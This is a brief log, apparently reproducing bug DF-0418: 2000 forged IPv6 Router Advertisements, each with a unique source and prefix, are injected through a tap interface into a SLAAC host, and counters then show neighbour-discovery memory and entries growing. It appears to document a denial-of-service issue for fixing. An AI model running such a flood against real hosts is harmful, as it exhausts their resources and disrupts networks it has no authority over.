=== DF-0418 RA-flood reproduction ===
precondition: net.inet6.ip6.accept_rtadv=1 + ND6_IFF_ACCEPT_RTADV on tap0 (SLAAC host)
1
       6
833542
--- flood 2000 RAs (unique src + prefix each) ---
[*] nd flags before: 0x7
[*] nd flags after:  0x3 (ACCEPT_RTADV SET)
[+] tap fd=3 on tap0 (writes = ingress RX)
[+] injecting 2000 forged RAs (unique src + prefix each)...
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[+] done; sent 2000 RAs. Check `ndp -an` / `netstat -rn -f inet6` / vm stats.
--- after ---
    4006
832973
             ip6ndp   5.87K    485K       0    390M    23.5K